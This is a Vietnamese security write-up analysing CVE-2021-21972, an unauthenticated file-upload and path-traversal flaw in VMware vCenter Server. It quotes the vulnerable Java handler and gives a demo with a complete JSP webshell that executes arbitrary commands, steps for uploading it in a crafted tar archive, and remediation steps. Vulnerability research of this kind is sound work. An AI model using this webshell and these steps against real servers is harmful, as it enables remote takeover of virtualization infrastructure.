---
# System prepended metadata

title: '**Nghiên cứu về CVE-2021-21972 - VMware vCenter Server Remote Code Execution**'

---

# **Nghiên cứu về CVE-2021-21972 - VMware vCenter Server Remote Code Execution**


# 1. Giới thiệu về CVE-2021-21972

CVE-2021-21972 là một lỗ hổng thực thi mã từ xa (RCE) quan trọng trong vCenter Server. Lỗ hổng được phát hiện và tiết lộ cho VMware bởi Mikhail Klyuchnikov, một nhà nghiên cứu bảo mật tại Positive Technologies.

vSphere là một bộ nền tảng ảo hóa được phát hành bởi VMware, bao gồm một loạt phần mềm như ESXi và vCenter Server. VCenter Server là trung tâm điều khiển của ESXi, có thể quản lý đồng nhất tất cả các máy chủ vSphere và máy ảo trong trung tâm dữ liệu từ một điểm điều khiển duy nhất, cho phép quản trị viên CNTT nâng cao khả năng kiểm soát, đơn giản hóa các tác vụ nhập và giảm độ phức tạp quản lý và chi phí của Môi trường CNTT.

Ứng dụng vSphere (HTML5) có lỗ hổng thực thi mã từ xa trong plugin thêm vCenter Server. Kẻ tấn có thể tạo một request chứa mã độc đến vCenter Server thông qua một máy chủ mở cổng 443, do đó ghi một webshell trên máy chủ và cuối cùng gây ra việc thực thi mã từ xa.

# 2. Phạm vi ảnh hưởng
* vmware: vcenter_server Version 6.5 đến trước 6.5 U3n
* vmware: vcenter_server Version 6.7 đến trước 6.7 U3l
* vmware: vcenter_server Version 7.0 đến trước 7.0 U1c

# 3. Mức độ nghiêm trọng

VMware đã đánh giá mức độ nghiêm trọng của vấn đề này là nghiêm trọng, với điểm CVSSv3 là 9,8.

![](https://i.imgur.com/fc01ES2.png)

# 4. Phân tích lỗ hổng

Lỗ hổng bảo mật được tìm thấy tại các plug-in của **ServicesController**. Lớp này sẽ thực hiện các endpoint thuộc `/ui/vropspluginui/rest/services/*`. Các nhà nghiên cứu đã phát hiện ra một endpoint dễ bị tải lên tệp và duyệt qua đường dẫn, đó là `/ui/vropspluginui/rest/services/uploadova` và được hiện thị như hình bên dưới.

```java=
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }
```

Theo lẽ thường, mỗi plugin phải chỉ định endpoint nào của nó yêu cầu ủy quyền trong bảng điều khiển web để chạy và điểm nào thì không. Plugin này đang được định cấu hình để cho phép người dùng trái phép truy cập vào bất kỳ URL nào mà nó xử lý.

Trình xử lý cho chức năng `uploadova` sẽ thực hiện các hành động sau:

1. Đã nhận được một request POST với thông số uploadFile.
1. Đọc và ghi nội dung của tham số này vào biến inputStream.
1. Đã mở dữ liệu kết quả dưới dạng kho lưu trữ .tar.
1. Đã truy xuất tất cả các mục (không phải thư mục) của kho lưu trữ.
1. Trong khi lặp lại tất cả các mục, một bản sao của từng mục hiện tại đã được tạo trên đĩa bằng cách sử dụng quy ước đặt tên tệp `/tmp/unicorn_ova_dir + entry_name`.

Ta có thể nhận thấy rằng tên của các mục .tar không được lọc. Chúng chỉ được nối với chuỗi “/ tmp / unicorn_ova_dir” để tạo thành một tệp tại đường dẫn người dùng muốn. Điều này có nghĩa là chúng ta có thể tạo một mục lưu trữ có chứa chuỗi “`../`”, cho phép chúng ta tải một tệp tùy ý lên một thư mục tùy ý trên máy chủ.

# 5. Demo 

**BƯỚC 1**

Đầu tiên, ta cần xác nhận sự tồn tại của lỗ hổng trên VMware vCenter Server.

Hãy gửi 1 request GET tới API Plugin của `/ui/vropspluginui/rest/services/*`. Nếu response trả về tương tự như bên dưới thì có nghĩ server dễ bị tấn công bới CVE-2021-21972.
- GET /ui/vropspluginui/rest/services/getstatus
![](https://i.imgur.com/fup8E7g.jpg)

- POST /ui/vropspluginui/rest/services/uploadova
![](https://i.imgur.com/hoaFxhj.jpg)

**BƯỚC 2**

Tạo file shell.jsp với nội dung là webshell cơ bản.
```java=
<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
```
Tiếp đó, sử dụng Evilarc để tạo một tệp "payload.tar".

![](https://i.imgur.com/LyesE4I.jpg)




**BƯỚC 3**

Tải tệp .tar lên server

![](https://i.imgur.com/CWPqAh9.jpg)


Check bên phía server

![](https://i.imgur.com/UN794Vv.jpg)


**BƯỚC 4**

Nếu mã trạng thái phản hồi của request trên là 200 OK và nội dung là SUCCESS, điều đó có nghĩa là tệp lưu trữ .tar đã được tải thành công lên đường dẫn `ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport`. 

Do luồng ứng dụng, máy chủ sẽ giải nén tệp .tar vào thư mục `/statsreport`. 

![](https://i.imgur.com/xlZeOvs.jpg)


# 6. Giải pháp 

Để giải quyết CVE này, VMware đã phát hành các bản cập nhật mới là các phiên bản 7.0 U1c, 6.7 U3l và 6.5 U3n.

Hoặc sửa tạm thời bằng cách sau:

1. Kết nối từ xa SSH với vCSA (hoặc kết nối máy tính từ xa với Windows VC)
2. Sao lưu các tệp sau:

- Đường dẫn của tệp hệ thống Linux là: `/etc/vmware/vsphere-ui/compatibility-matrix.xml` (vCSA)
- Đường dẫn tệp Windows là: `C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui` (Windows VC)

3. Sử dụng trình soạn thảo văn bản để sửa đổi nội dung của tệp thành:

> ![](https://i.imgur.com/J1sRe6g.png)

4. Sử dụng lệnh `vmon-cli -r vsphere-ui` để khởi động lại dịch vụ `vsphere-ui`

5. Truy cập  `https://<VC-IP-or-FQDN>/ui/vropspluginui/rest/services/checkmobregister`, hiển thị lỗi 404

![](https://i.imgur.com/yyBOV2u.png)


# 7. Tài liệu tham khảo

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21972
1. https://www.vmware.com/security/advisories/VMSA-2021-0002.html
1. https://github.com/ptoomey3/evilarc
